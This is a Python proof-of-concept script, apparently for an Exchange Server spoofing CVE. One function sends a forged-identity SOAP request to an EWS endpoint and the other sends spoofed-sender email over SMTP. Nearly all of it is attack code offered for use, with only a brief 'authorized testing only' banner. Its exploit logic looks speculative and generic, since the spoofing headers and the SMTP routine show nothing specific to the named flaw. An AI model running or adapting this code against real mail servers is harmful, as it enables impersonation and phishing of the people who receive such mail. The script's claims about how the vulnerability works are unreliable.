# CVE-2025-59248 - Microsoft Exchange Server Spoofing PoC (Conceptual)
# This is a conceptual PoC demonstrating the spoofing attack vector
# The vulnerability exists in improper input validation in Exchange Server
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET_URL = "https://target-exchange-server/EWS/Exchange.asmx"
# Step 1: Craft a spoofed request exploiting improper input validation
# The vulnerability allows an unauthenticated attacker to spoof identity
def exploit_spoofing(target_url, spoofed_identity):
"""
Exploit improper input validation in Exchange Server
to perform spoofing attack over the network.
"""
headers = {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": "http://schemas.microsoft.com/exchange/services/2006/messages/ResolveNames",
# Spoofed identity header - exploiting lack of input validation
"X-Forwarded-For": spoofed_identity,
"X-AnonUser": "
[email protected]"
}
# SOAP envelope with crafted input to bypass validation
soap_payload = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
<!-- Spoofed sender identity exploiting improper validation -->
<t:ImpersonatedUser>
<t:ConnectingSID>
<t:PrincipalName>
[email protected]</t:PrincipalName>
</t:ConnectingSID>
</t:ImpersonatedUser>
</soap:Header>
<soap:Body>
<ResolveNames xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"
ReturnFullContactData="true">
<UnresolvedEntry>{spoofed_identity}</UnresolvedEntry>
</ResolveNames>
</soap:Body>
</soap:Envelope>"""
try:
response = requests.post(
target_url,
data=soap_payload,
headers=headers,
verify=False,
timeout=30
)
if response.status_code == 200:
print(f"[+] Spoofing successful - Server accepted forged identity")
print(f"[+] Response: {response.text[:500]}")
return response.text
else:
print(f"[-] Request returned status code: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
return None
# Step 2: Alternative - SMTP spoofing via Exchange Server
def smtp_spoof(target_host, sender_email, recipient_email):
"""
Exploit improper input validation to spoof email sender
"""
import smtplib
from email.mime.text import MIMEText
msg = MIMEText("This is a spoofed email exploiting CVE-2025-59248")
msg['Subject'] = 'Legitimate Looking Email'
msg['From'] = sender_email # Spoofed sender
msg['To'] = recipient_email
try:
server = smtplib.SMTP(target_host, 25)
server.ehlo()
server.sendmail(sender_email, [recipient_email], msg.as_string())
server.quit()
print(f"[+] Spoofed email sent from {sender_email} to {recipient_email}")
except Exception as e:
print(f"[-] SMTP Error: {e}")
if __name__ == "__main__":
print("[*] CVE-2025-59248 - Microsoft Exchange Server Spoofing PoC")
print("[*] WARNING: For authorized testing only\n")
# exploit_spoofing(TARGET_URL, "
[email protected]")
# smtp_spoof("mail.target.com", "
[email protected]", "
[email protected]")